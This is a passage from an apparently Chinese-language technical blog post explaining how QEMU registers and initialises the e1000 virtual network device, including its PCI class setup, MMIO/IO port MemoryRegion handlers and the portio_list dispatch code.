class="line"></span><br><span class="line">        type_register(&amp;type_info);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">TypeImpl *<span class="title function_">type_register_static</span><span class="params">(<span class="type">const</span> TypeInfo *info)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> type_register(info);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">type_init(e1000_register_types)</span><br></pre></td></tr></table></figure><p>.name 决定了设备名称, 在qemu中使用 -device 查看所有device的时候可以看到的名字.  </p><p>.class_init 指示了设备初始化的函数, 这里我关注e1000_class_init的初始化操作.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">e1000_class_init</span><span class="params">(ObjectClass *klass, <span class="type">void</span> *data)</span></span><br><span class="line">&#123;</span><br><span class="line">    DeviceClass *dc = DEVICE_CLASS(klass);</span><br><span class="line">    PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);</span><br><span class="line">    E1000BaseClass *e = E1000_CLASS(klass);</span><br><span class="line">    <span class="type">const</span> E1000Info *info = data;</span><br><span class="line"></span><br><span class="line">    k-&gt;realize = pci_e1000_realize;</span><br><span class="line">    k-&gt;<span class="built_in">exit</span> = pci_e1000_uninit;</span><br><span class="line">    k-&gt;romfile = <span class="string">&quot;efi-e1000.rom&quot;</span>;</span><br><span class="line">    k-&gt;vendor_id = PCI_VENDOR_ID_INTEL;</span><br><span class="line">    k-&gt;device_id = info-&gt;device_id;</span><br><span class="line">    k-&gt;revision = info-&gt;revision;</span><br><span class="line">    e-&gt;phy_id2 = info-&gt;phy_id2;</span><br><span class="line">    k-&gt;class_id = PCI_CLASS_NETWORK_ETHERNET;</span><br><span class="line">    set_bit(DEVICE_CATEGORY_NETWORK, dc-&gt;categories);</span><br><span class="line">    dc-&gt;desc = <span class="string">&quot;Intel Gigabit Ethernet&quot;</span>;</span><br><span class="line">    dc-&gt;reset = qdev_e1000_reset;</span><br><span class="line">    dc-&gt;vmsd = &amp;vmstate_e1000;</span><br><span class="line">    device_class_set_props(dc, e1000_properties);</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">PCIDeviceClass</span> &#123;</span></span><br><span class="line">    DeviceClass parent_class;</span><br><span class="line"></span><br><span class="line">    <span class="type">void</span> (*realize)(PCIDevice *dev, Error **errp);</span><br><span class="line">    PCIUnregisterFunc *<span class="built_in">exit</span>;</span><br><span class="line">    PCIConfigReadFunc *config_read;</span><br><span class="line">    PCIConfigWriteFunc *config_write;</span><br><span class="line"></span><br><span class="line">    <span class="type">uint16_t</span> vendor_id;</span><br><span class="line">    <span class="type">uint16_t</span> device_id;</span><br><span class="line">    <span class="type">uint8_t</span> revision;</span><br><span class="line">    <span class="type">uint16_t</span> class_id;</span><br><span class="line">    <span class="type">uint16_t</span> subsystem_vendor_id;       <span class="comment">/* only for header type = 0 */</span></span><br><span class="line">    <span class="type">uint16_t</span> subsystem_id;              <span class="comment">/* only for header type = 0 */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/*</span></span><br><span class="line"><span class="comment">     * pci-to-pci bridge or normal device.</span></span><br><span class="line"><span class="comment">     * This doesn&#x27;t mean pci host switch.</span></span><br><span class="line"><span class="comment">     * When card bus bridge is supported, this would be enhanced.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="type">bool</span> is_bridge;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* rom bar */</span></span><br><span class="line">    <span class="type">const</span> <span class="type">char</span> *romfile;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>k-&gt;realize 就是主要的初始化函数. 在realize中, 一般就会初始化对应的IO空间和绑定处理函数.  </p><p>PCIDeviceClass-&gt;config_read和config_write 对应的是设备的PCI 配置空间的读写处理函数. </p><blockquote><p>如果没有声明, 默认在do_pci_register_device中会赋值 pci_default_read_config&#x2F;pci_default_write_config.</p></blockquote><h1 id="IO-handler的初始化"><a href="#IO-handler的初始化" class="headerlink" title="IO handler的初始化"></a>IO handler的初始化</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">pci_e1000_realize</span><span class="params">(PCIDevice *pci_dev, Error **errp)</span></span><br><span class="line">&#123;</span><br><span class="line">    DeviceState *dev = DEVICE(pci_dev);</span><br><span class="line">    E1000State *d = E1000(pci_dev);</span><br><span class="line">    <span class="type">uint8_t</span> *pci_conf;</span><br><span class="line">    <span class="type">uint8_t</span> *macaddr;</span><br><span class="line"></span><br><span class="line">    pci_dev-&gt;config_write = e1000_write_config;</span><br><span class="line"></span><br><span class="line">    pci_conf = pci_dev-&gt;config;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* <span class="doctag">TODO:</span> RST# value should be 0, PCI spec 6.2.4 */</span></span><br><span class="line">    pci_conf[PCI_CACHE_LINE_SIZE] = <span class="number">0x10</span>;</span><br><span class="line"></span><br><span class="line">    pci_conf[PCI_INTERRUPT_PIN] = <span class="number">1</span>; <span class="comment">/* interrupt pin A */</span></span><br><span class="line"></span><br><span class="line">    e1000_mmio_setup(d);</span><br><span class="line"></span><br><span class="line">    pci_register_bar(pci_dev, <span class="number">0</span>, PCI_BASE_ADDRESS_SPACE_MEMORY, &amp;d-&gt;mmio);</span><br><span class="line"></span><br><span class="line">    pci_register_bar(pci_dev, <span class="number">1</span>, PCI_BASE_ADDRESS_SPACE_IO, &amp;d-&gt;io);</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span></span><br><span class="line"><span class="title function_">e1000_mmio_setup</span><span class="params">(E1000State *d)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> i;</span><br><span class="line">    <span class="type">const</span> <span class="type">uint32_t</span> excluded_regs[] = &#123;</span><br><span class="line">        E1000_MDIC, E1000_ICR, E1000_ICS, E1000_IMS,</span><br><span class="line">        E1000_IMC, E1000_TCTL, E1000_TDT, PNPMMIO_SIZE</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    memory_region_init_io(&amp;d-&gt;mmio, OBJECT(d), &amp;e1000_mmio_ops, d,</span><br><span class="line">                          <span class="string">&quot;e1000-mmio&quot;</span>, PNPMMIO_SIZE);</span><br><span class="line">    memory_region_add_coalescing(&amp;d-&gt;mmio, <span class="number">0</span>, excluded_regs[<span class="number">0</span>]);</span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; excluded_regs[i] != PNPMMIO_SIZE; i++)</span><br><span class="line">        memory_region_add_coalescing(&amp;d-&gt;mmio, excluded_regs[i] + <span class="number">4</span>,</span><br><span class="line">                                     excluded_regs[i+<span class="number">1</span>] - excluded_regs[i] - <span class="number">4</span>);</span><br><span class="line">    memory_region_init_io(&amp;d-&gt;io, OBJECT(d), &amp;e1000_io_ops, d, <span class="string">&quot;e1000-io&quot;</span>, IOPORT_SIZE);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">memory_region_init_io</span><span class="params">(MemoryRegion *mr,</span></span><br><span class="line"><span class="params">                           Object *owner,</span></span><br><span class="line"><span class="params">                           <span class="type">const</span> MemoryRegionOps *ops,</span></span><br><span class="line"><span class="params">                           <span class="type">void</span> *opaque,</span></span><br><span class="line"><span class="params">                           <span class="type">const</span> <span class="type">char</span> *name,</span></span><br><span class="line"><span class="params">                           <span class="type">uint64_t</span> size)</span></span><br><span class="line">&#123;</span><br><span class="line">    memory_region_init(mr, owner, name, size);</span><br><span class="line">    mr-&gt;ops = ops ? ops : &amp;unassigned_mem_ops;</span><br><span class="line">    mr-&gt;opaque = opaque;</span><br><span class="line">    mr-&gt;terminates = <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> MemoryRegionOps e1000_mmio_ops = &#123;</span><br><span class="line">    .read = e1000_mmio_read,</span><br><span class="line">    .write = e1000_mmio_write,</span><br><span class="line">    .endianness = DEVICE_LITTLE_ENDIAN,</span><br><span class="line">    .impl = &#123;</span><br><span class="line">        .min_access_size = <span class="number">4</span>,</span><br><span class="line">        .max_access_size = <span class="number">4</span>,</span><br><span class="line">    &#125;,</span><br><span class="line">&#125;;</span><br><span class="line"><span class="type">static</span> <span class="type">const</span> MemoryRegionOps e1000_io_ops = &#123;</span><br><span class="line">    .read = e1000_io_read,</span><br><span class="line">    .write = e1000_io_write,</span><br><span class="line">    .endianness = DEVICE_LITTLE_ENDIAN,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><blockquote><p>注意, 此处的<code>pci_dev-&gt;config_write = e1000_write_config;</code> 是PCIDevice结构体, realize函数由 pci_qdev_realize 调取, 如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">pci_qdev_realize</span><span class="params">(DeviceState *qdev, Error **errp)</span></span><br><span class="line">&#123;</span><br><span class="line">    PCIDevice *pci_dev = (PCIDevice *)qdev;</span><br><span class="line">    PCIDeviceClass *pc = PCI_DEVICE_GET_CLASS(pci_dev);</span><br><span class="line">    ...</span><br><span class="line">    pci_dev = do_pci_register_device(pci_dev,</span><br><span class="line">                                     object_get_typename(OBJECT(qdev)),</span><br><span class="line">                                     pci_dev-&gt;devfn, errp);</span><br><span class="line">    <span class="keyword">if</span> (pci_dev == <span class="literal">NULL</span>)</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (pc-&gt;realize) &#123;</span><br><span class="line">        pc-&gt;realize(pci_dev, &amp;local_err);</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">static</span> PCIDevice *<span class="title function_">do_pci_register_device</span><span class="params">(PCIDevice *pci_dev,</span></span><br><span class="line"><span class="params">                                         <span class="type">const</span> <span class="type">char</span> *name, <span class="type">int</span> devfn,</span></span><br><span class="line"><span class="params">                                         Error **errp)</span></span><br><span class="line">&#123;</span><br><span class="line">    PCIDeviceClass *pc = PCI_DEVICE_GET_CLASS(pci_dev);</span><br><span class="line">    PCIConfigReadFunc *config_read = pc-&gt;config_read;</span><br><span class="line">    PCIConfigWriteFunc *config_write = pc-&gt;config_write;</span><br><span class="line">...</span><br><span class="line">    <span class="keyword">if</span> (!config_read)</span><br><span class="line">        config_read = pci_default_read_config;</span><br><span class="line">    <span class="keyword">if</span> (!config_write)</span><br><span class="line">        config_write = pci_default_write_config;</span><br><span class="line">    pci_dev-&gt;config_read = config_read;</span><br><span class="line">    pci_dev-&gt;config_write = config_write;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从顺序可以看到, realize函数在 do_pci_register_device 之后, do_pci_register_device 也会把 PCIDeviceClass-&gt;config_write 赋值给 PCIDevice-&gt;config_write. 所以最终的config_write是什么函数, 以realize为准.</p></blockquote><p>e1000刚好既有IO port 又有 IO memory. </p><p>从代码可以看出, 他们的初始化大同小异. 最开始会调用 memory_region_init 初始化MemoryRegion, 之后将对应的 MemoryRegion 绑定ops. 这里, port 绑定的 e1000_io_ops, memory 绑定的e1000_mmio_ops. </p><p>memory_region_init_io 只是memory_region_init 的一个封装.</p><p>在初始化好 MemoryRegion 后, 会调用 pci_register_bar 注册它. 如下示例:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pci_register_bar(pci_dev, <span class="number">0</span>, PCI_BASE_ADDRESS_SPACE_MEMORY, &amp;d-&gt;mmio);</span><br><span class="line">pci_register_bar(pci_dev, <span class="number">1</span>, PCI_BASE_ADDRESS_SPACE_IO, &amp;d-&gt;io);</span><br></pre></td></tr></table></figure><p>第二个参数表面了注册到PCI 配置空间的哪个bar里(参考后续的pci配置空间). 第三个参数指示该 MemoryRegion的类型是port 还是memory. </p><p>至于具体的IO port或者memory的值是多少, 取决于Guest的操作系统怎么配置PCI配置空间的.  我们可以通过 <code>lspci -v</code>来查看相关配置:</p><p><img src="/images/qemu-virtual-device-init/e1000_pci.png" alt="image-20220303134241878"></p><h1 id="特殊的IO-port-handler"><a href="#特殊的IO-port-handler" class="headerlink" title="特殊的IO port handler"></a>特殊的IO port handler</h1><p>除了上述的常规注册MemoryRegionOps操作外, 还有一种注册IO handler的方法:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">portio_list_init</span><span class="params">(PortioList *piolist,</span></span><br><span class="line"><span class="params">                      Object *owner,</span></span><br><span class="line"><span class="params">                      <span class="type">const</span> MemoryRegionPortio *callbacks,</span></span><br><span class="line"><span class="params">                      <span class="type">void</span> *opaque, <span class="type">const</span> <span class="type">char</span> *name)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">unsigned</span> n = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> (callbacks[n].size) &#123;</span><br><span class="line">        ++n;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    piolist-&gt;ports = callbacks;</span><br><span class="line">    piolist-&gt;nr = <span class="number">0</span>;</span><br><span class="line">    piolist-&gt;regions = g_new0(MemoryRegion *, n);</span><br><span class="line">    piolist-&gt;address_space = <span class="literal">NULL</span>;</span><br><span class="line">    piolist-&gt;opaque = opaque;</span><br><span class="line">    piolist-&gt;owner = owner;</span><br><span class="line">    piolist-&gt;name = name;</span><br><span class="line">    piolist-&gt;flush_coalesced_mmio = <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> MemoryRegionOps portio_ops = &#123;</span><br><span class="line">    .read = portio_read,</span><br><span class="line">    .write = portio_write,</span><br><span class="line">    .endianness = DEVICE_LITTLE_ENDIAN,</span><br><span class="line">    .valid.unaligned = <span class="literal">true</span>,</span><br><span class="line">    .impl.unaligned = <span class="literal">true</span>,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">portio_list_add_1</span><span class="params">(PortioList *piolist,</span></span><br><span class="line"><span class="params">                              <span class="type">const</span> MemoryRegionPortio *pio_init,</span></span><br><span class="line"><span class="params">                              <span class="type">unsigned</span> count, <span class="type">unsigned</span> start,</span></span><br><span class="line"><span class="params">                              <span class="type">unsigned</span> off_low, <span class="type">unsigned</span> off_high)</span></span><br><span class="line">&#123;</span><br><span class="line">    MemoryRegionPortioList *mrpio;</span><br><span class="line">    <span class="type">unsigned</span> i;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Copy the sub-list and null-terminate it.  */</span></span><br><span class="line">    mrpio = g_malloc0(<span class="keyword">sizeof</span>(MemoryRegionPortioList) +</span><br><span class="line">                      <span class="keyword">sizeof</span>(MemoryRegionPortio) * (count + <span class="number">1</span>));</span><br><span class="line">    mrpio-&gt;portio_opaque = piolist-&gt;opaque;</span><br><span class="line">    <span class="built_in">memcpy</span>(mrpio-&gt;ports, pio_init, <span class="keyword">sizeof</span>(MemoryRegionPortio) * count);</span><br><span class="line">    <span class="built_in">memset</span>(mrpio-&gt;ports + count, <span class="number">0</span>, <span class="keyword">sizeof</span>(MemoryRegionPortio));</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Adjust the offsets to all be zero-based for the region.  */</span></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; count; ++i) &#123;</span><br><span class="line">        mrpio-&gt;ports[i].offset -= off_low;</span><br><span class="line">        mrpio-&gt;ports[i].base = start + off_low;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    memory_region_init_io(&amp;mrpio-&gt;mr, piolist-&gt;owner, &amp;portio_ops, mrpio,</span><br><span class="line">                          piolist-&gt;name, off_high - off_low); <span class="comment">// !!!!!!!!!!!!!!!</span></span><br><span class="line">    <span class="keyword">if</span> (piolist-&gt;flush_coalesced_mmio) &#123;</span><br><span class="line">        memory_region_set_flush_coalesced(&amp;mrpio-&gt;mr);</span><br><span class="line">    &#125;</span><br><span class="line">    memory_region_add_subregion(piolist-&gt;address_space,</span><br><span class="line">                                start + off_low, &amp;mrpio-&gt;mr);</span><br><span class="line">    piolist-&gt;regions[piolist-&gt;nr] = &amp;mrpio-&gt;mr;</span><br><span class="line">    ++piolist-&gt;nr;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">portio_list_add</span><span class="params">(PortioList *piolist,</span></span><br><span class="line"><span class="params">                     MemoryRegion *address_space,</span></span><br><span class="line"><span class="params">                     <span class="type">uint32_t</span> start)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">const</span> MemoryRegionPortio *pio, *pio_start = piolist-&gt;ports;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> off_low, off_high, off_last, count;</span><br><span class="line"></span><br><span class="line">    piolist-&gt;address_space = address_space;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Handle the first entry specially.  */</span></span><br><span class="line">    off_last = off_low = pio_start-&gt;offset;</span><br><span class="line">    off_high = off_low + pio_start-&gt;len + pio_start-&gt;size - <span class="number">1</span>;</span><br><span class="line">    count = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (pio = pio_start + <span class="number">1</span>; pio-&gt;size != <span class="number">0</span>; pio++, count++) &#123;</span><br><span class="line">        <span class="comment">/* All entries must be sorted by offset.  */</span></span><br><span class="line">        assert(pio-&gt;offset &gt;= off_last);</span><br><span class="line">        off_last = pio-&gt;offset;</span><br><span class="line"></span><br><span class="line">        <span class="comment">/* If we see a hole, break the region.  */</span></span><br><span class="line">        <span class="keyword">if</span> (off_last &gt; off_high) &#123;</span><br><span class="line">            portio_list_add_1(piolist, pio_start, count, start, off_low,</span><br><span class="line">                              off_high);</span><br><span class="line">            <span class="comment">/* ... and start collecting anew.  */</span></span><br><span class="line">            pio_start = pio;</span><br><span class="line">            off_low = off_last;</span><br><span class="line">            off_high = off_low + pio-&gt;len + pio_start-&gt;size - <span class="number">1</span>;</span><br><span class="line">            count = <span class="number">0</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (off_last + pio-&gt;len &gt; off_high) &#123;</span><br><span class="line">            off_high = off_last + pio-&gt;len + pio_start-&gt;size - <span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* There will always be an open sub-list.  */</span></span><br><span class="line">    portio_list_add_1(piolist, pio_start, count, start, off_low, off_high);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这种特殊的io port的handler是在行51注册的 portio_ops 来处理的, 即<code>portio_read</code> 和<code>portio_write</code>.</p><p>之后, <code>portio_write</code>函数通过遍历注册的port, 来调用对应的处理函数:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">const</span> MemoryRegionPortio *<span class="title function_">find_portio</span><span class="params">(MemoryRegionPortioList *mrpio,</span></span><br><span class="line"><span class="params">                                             <span class="type">uint64_t</span> offset, <span class="type">unsigned</span> size,</span></span><br><span class="line"><span class="params">                                             <span class="type">bool</span> write)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">const</span> MemoryRegionPortio *mrp;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (mrp = mrpio-&gt;ports; mrp-&gt;size; ++mrp) &#123;</span><br><span class="line">        <span class="keyword">if</span> (offset &gt;= mrp-&gt;offset &amp;&amp; offset &lt; mrp-&gt;offset + mrp-&gt;len &amp;&amp;</span><br><span class="line">            size == mrp-&gt;size &amp;&amp;</span><br><span class="line">            (write ? (<span class="type">bool</span>)mrp-&gt;write : (<span class="type">bool</span>)mrp-&gt;read)) &#123;</span><br><span class="line">            <span class="keyword">return</span> mrp;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">uint64_t</span> <span class="title function_">portio_read</span><span class="params">(<span class="type">void</span> *opaque, hwaddr addr, <span class="type">unsigned</span> size)</span></span><br><span class="line">&#123;</span><br><span class="line">    MemoryRegionPortioList *mrpio = opaque;</span><br><span class="line">    <span class="type">const</span> MemoryRegionPortio *mrp = find_portio(mrpio, addr, size, <span class="literal">false</span>);</span><br><span class="line">    <span class="type">uint64_t</span> data;</span><br><span class="line"></span><br><span class="line">    data = ((<span class="type">uint64_t</span>)<span class="number">1</span> &lt;&lt; (size * <span class="number">8</span>)) - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">if</span> (mrp) &#123;</span><br><span class="line">        data = mrp-&gt;read(mrpio-&gt;portio_opaque, mrp-&gt;base + addr);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (size == <span class="number">2</span>) &#123;</span><br><span class="line">        mrp = find_portio(mrpio, addr, <span class="number">1</span>, <span class="literal">false</span>);</span><br><span class="line">        <span class="keyword">if</span> (mrp) &#123;</span><br><span class="line">            data = mrp-&gt;read(mrpio-&gt;portio_opaque, mrp-&gt;base + addr);</span><br><span class="line">            <span class="keyword">if</span> (addr + <span class="number">1</span> &lt; mrp-&gt;offset + mrp-&gt;len) &#123;</span><br><span class="line">                data |= mrp-&gt;read(mrpio-&gt;portio_opaque, mrp-&gt;base + addr + <span class="number">1</span>) &lt;&lt; <span class="number">8</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                data |= <span class="number">0xff00</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> data;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">portio_write</span><span class="params">(<span class="type">void</span> *opaque, hwaddr addr, <span class="type">uint64_t</span> data,</span></span><br><span class="line"><span class="params">                         <span class="type">unsigned</span> size)</span></span><br><span class="line">&#123;</span><br><span class="line">    MemoryRegionPortioList *mrpio = opaque;</span><br><span class="line">    <span class="type">const</span> MemoryRegionPortio *mrp = find_portio(mrpio, addr, size, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (mrp) &#123;</span><br><span class="line">        mrp-&gt;write(mrpio-&gt;portio_opaque, mrp-&gt;base + addr, data);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (size == <span class="number">2</span>) &#123;</span><br><span class="line">        mrp = find_portio(mrpio, addr, <span class="number">1</span>, <span class="literal">true</span>);</span><br><span class="line">        <span class="keyword">if</span> (mrp) &#123;</span><br><span class="line">            mrp-&gt;write(mrpio-&gt;portio_opaque, mrp-&gt;base + addr, data &amp; <span 